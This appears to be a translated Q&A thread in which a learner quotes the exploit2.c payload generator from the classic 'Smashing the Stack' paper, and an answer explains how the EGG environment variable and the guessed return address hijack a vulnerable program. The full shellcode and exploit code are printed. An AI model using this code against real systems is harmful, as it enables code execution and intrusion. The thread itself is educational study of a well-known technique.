我正在阅读" Smashing Stack for Fun and Profit",并使用环境变量达到了第一个溢出示例:
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
Now we can try to guess what the buffer and offset should be...
现在,我理解设置表格的环境变量的整体理论&#34; NAME = VALUE&#34;, 正如我们在上面的代码中看到的那样,它是EGG = OUR_SHELL_CODE。
但是我不确定溢出发生的位置/时间......主要的返回地址是否被覆盖?希望addr?偏移是什么?我们想要达到什么样的地址?
为什么我们要查找堆栈指针的地址?我的意思是使用malloc()将在堆上分配内存,那么为什么我们需要堆栈结尾的地址(使用get_sp())? 另外,溢出堆中的缓冲区不会覆盖返回地址..
我们为什么要写&#34;系统(&#34; / bin / bash&#34;);&#34;? (我们在shellcode中已经有bin / sh) 它是以某种方式加载/执行环境变量的方式吗?
请在此漏洞的步骤中为我填写所有空白(尽可能详尽)。 非常感谢你! : - )
答案 0 :(得分:2)
这是一个帮助程序,将创建漏洞利用程序。这不是易受攻击的程序,一个名称为vulnerable
。
此程序使用堆内存构建EGG
环境变量,其中包含基于指定参数创建的漏洞。它假定易受攻击的程序的堆栈指针有点类似于当前程序。 offset
用于取消任何差异。该漏洞利用的大小为bsize
,它将包含shell代码本身,然后是shellcode开头的猜测地址的副本。这个尾随部分有望覆盖易受攻击程序中的返回地址 ,从而将控制转移到有效负载。
在创建EGG
之后,程序会为您生成一个shell,以便您可以启动易受攻击的程序。您可以在原始文章中看到易受攻击的程序由./vulnerable $EGG
启动。
这个漏洞利用程序生成器并不是非常好的代码,但这是另一回事。